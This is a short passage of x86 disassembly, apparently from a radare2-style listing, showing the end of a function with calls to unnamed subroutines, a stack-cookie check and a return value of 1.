mov edx, dword [ebp + 8]
push edx
call fcn.00405e0f
add esp, 0x10
mov eax, dword [ebp - 4]
push eax
call fcn.00405c44
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004055f8
mov esp, ebp
pop ebp
ret